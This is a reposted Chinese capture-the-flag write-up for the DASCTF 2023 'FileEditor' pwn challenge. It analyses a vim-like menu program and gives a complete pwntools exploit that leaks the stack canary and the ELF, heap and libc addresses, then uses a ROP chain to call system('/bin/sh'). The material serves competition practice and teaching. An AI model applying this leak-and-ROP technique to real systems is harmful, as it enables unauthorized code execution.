首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)

编程知识
2024年07月24日 15:42

DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)

题目保护情况(保护全家桶)

64位ida逆向

模拟了一个类似vim的功能,有打开文件,打印内容,插入行,删除行,复制行,和编辑行,还有查找字符和替换字符的功能,然后就是保存退出

一个一个来分析吧

1.open

就是打开一个file文件。没有会创建

2.show

(没有什么特别的,打印内容)

3.插入行

输入n,m,和内容,在n行前面插入m行

4.删除行

还是输入n和m,功能是在起始行m后删除n行

5.复制行

功能是复制自k行后面的m行数据给起始于n行之后的数据

6.编辑行

输入编辑的行,然后输入内容

7.查找字符

会把我们的内容先放到src上,src有0x70大小

8.替换字符

同样也是

9.保存退出

0.退出编辑

分析:可以通过查找字符或者替换字符的功能,把输入文件的内容放到栈上,输入0x68+1个字节覆盖canary末尾,然后打印的时候会顺带打印出canary,同样用这个手法,泄露出libc地址和堆地址,也可以不需要直接用libc里面的binsh字符串,最后通过编辑把ropchain写入栈上,然后查找时通过溢出劫持程序流来获取shell。

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./FileEditor')
#io = remote('node5.buuoj.cn',27825)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def open():
    io.sendlineafter('> choose:','1')


def instert(n,m,msg):
    io.sendlineafter('> choose:','3')
    io.sendlineafter('> To insert m lines before line n, please enter n m:',n)
    io.sendline(m)
    io.sendafter('> Please enter the content to be inserted in sequence:',msg)


def show():
    io.sendlineafter('> choose:','2')


def edit(num,msg):
    io.sendlineafter('> choose:','6')
    io.sendlineafter('> Please enter the line number to be modified:',num)
    io.sendafter('> Please enter the new content:',msg)

def find(string):
    io.sendlineafter('> choose:','7')
    io.sendlineafter('> Please enter the string to search for:',string)
    io.sendlineafter('> Do you want to continue searching? (y/n)','n')

#gdb.attach(io)
open()
payload = 'b'+'a'*(0x68-1)
#gdb.attach(io)
instert('1','1',payload)
io.send('\n')
find('b')
edit('1',payload)
io.send('\n')
show()
io.recvuntil('a'*103)
canary = u64(io.recv(8))-0xa
success('canary---->'+hex(canary))

payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*8
edit('1',payload)
io.send('\n')
#gdb.attach(io)
sleep(0.5)
show()
io.recvuntil('c'*8)
elf_base  = u64(io.recv(6).ljust(8,b'\x00')) - (0x59640d98850a -0x59640d987000)
success('elf_base----->'+hex(elf_base))

payload = payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*24 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
show()
io.recvuntil('d'*8)
heap = u64(io.recv(6).ljust(8,b'\x00')) -(0x5ab985b9d2a0 - 0x5ab985b9d000) + 0x96
success('heap----->'+hex(heap))

payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*48 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
show()

io.recvuntil('d'*8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x796487e29d90 -  0x796487e28000) + 0x86 -0x28000
success('libc_base---->'+hex(libc_base))
pause()
pop_rdi = elf_base + 0x0000000000002ac3 #: pop rdi ; ret 
pop_rsi = elf_base + 0x0000000000002ac1 #: pop rsi ; pop r15 ; ret
ret = elf_base + 0x000000000000101a #: ret 
system = libc_base + libc.sym['system']# -0x28000
binsh  = libc_base + next(libc.search('/bin/sh\0'))

#payload = b'b'+b'a'*(0x68-1) + p64(canary) + b'/bin/sh\x00' + p64(ret)
#payload += p64(pop_rdi) + p64(heap + 0x15e4) + p64(system)
payload = b'b'+b'a'*(0x68-1) + p64(canary) + p64(0xdeadbeef) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)

#gdb.attach(io)
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
find('b')

io.interactive()

 

From:https://www.cnblogs.com/CH13hh/p/18321227
本文地址: http://shuzixingkong.net/article/378
0评论
提交 加载更多评论
其他文章 Android Spingboot 实现SSE通信案例
SSE SSE(Server-Sent Events)是一种用于实现服务器主动向客户端推送数据的技术,它基于 HTTP 协议,利用了其长连接特性,在客户端与服务器之间建立一条持久化连接,并通过这条连接实现服务器向客户端的实时数据推送。 Server-Sent Events (SSE) 和 Socke
Android Spingboot 实现SSE通信案例 Android Spingboot 实现SSE通信案例 Android Spingboot 实现SSE通信案例
Known框架实战演练——进销存业务单据
本文介绍如何实现进销存管理系统的业务单据模块,业务单据模块包括采购进货单、采购退货单、销售出货单、销售退货单4个菜单页面。由于进销单据字段大同小异,因此设计共用一个页面组件类。 项目代码:JxcLite 开源地址: https://gitee.com/known/JxcLite 1. 配置模块 运行
Linux 文本文件编辑相关命令简介【Linux 常用命令系列二】
本文介绍了如何通过 vim 命令,对文本文件进行打开、编辑、保存等相关操作,并通过简单的示例演示了常用用法。
Linux 文本文件编辑相关命令简介【Linux 常用命令系列二】 Linux 文本文件编辑相关命令简介【Linux 常用命令系列二】 Linux 文本文件编辑相关命令简介【Linux 常用命令系列二】
2024-07-24:用go语言,给定一个整数数组 nums,其中至少包含两个元素。 可以根据以下规则执行操作:选择最前面两个元素删除、选择最后两个元素删除,或选择第一个和最后一个元素删除。 每次操作
2024-07-24:用go语言,给定一个整数数组 nums,其中至少包含两个元素。 可以根据以下规则执行操作:选择最前面两个元素删除、选择最后两个元素删除,或选择第一个和最后一个元素删除。 每次操作的得分是被删除元素的和。 在每次操作后,所有操作得分需保持相同。 问题要求确定在这些前提下,最多可以
2024-07-24:用go语言,给定一个整数数组 nums,其中至少包含两个元素。 可以根据以下规则执行操作:选择最前面两个元素删除、选择最后两个元素删除,或选择第一个和最后一个元素删除。 每次操作
RestSharp编写api接口测试,并实现异步调用(不卡顿)
首先,确保你已经安装了RestSharp NuGet包。如果没有安装,可以通过以下命令安装: bash Install-Package RestSharp 然后,在你的C#代码中,你可以按照以下步骤操作: 引用RestSharp命名空间。 创建一个RestClient实例。 创建一个RestRequ
博弈论
一、要素 局中人:在一场竞赛或博弈中,每一个有决策权的参与者成为一个局中人。只有两个局中人的博弈现象称为“两人博弈”,而多于两个局中人的博弈称为“多人博弈”。 策略:一局博弈中,每个局中人都有选择实际可行的完整的行动方案,即方案不是某阶段的行动方案,而是指导整个行动的一个方案,一个局中人的一个可行的
博弈论 博弈论 博弈论
2个月搞定计算机二级C语言——真题(1)解析
1. 前言 大家好,我是梁国庆。 这段时间将持续发布计算机二级 C 语言真题的解析,想要同步练习,需要资源包的朋友可以跳转免费获取——《3个月搞定计算机二级C语言——准备工作》。 现在恐怕要改为 2 个月搞定计算机二级 C 语言了,不过没有关系,干就完了! 本篇博客将解析计算机二级 C 语言考试真题
2个月搞定计算机二级C语言——真题(1)解析 2个月搞定计算机二级C语言——真题(1)解析 2个月搞定计算机二级C语言——真题(1)解析
AI知识库这事儿FastGPT是专业的
在搭建AI知识库这事儿上,有不少成熟的框架,我推荐使用FastGPT。这篇文章笔者就使用过的两款平台做个比较,FastGPT和百度千帆平台。
AI知识库这事儿FastGPT是专业的 AI知识库这事儿FastGPT是专业的 AI知识库这事儿FastGPT是专业的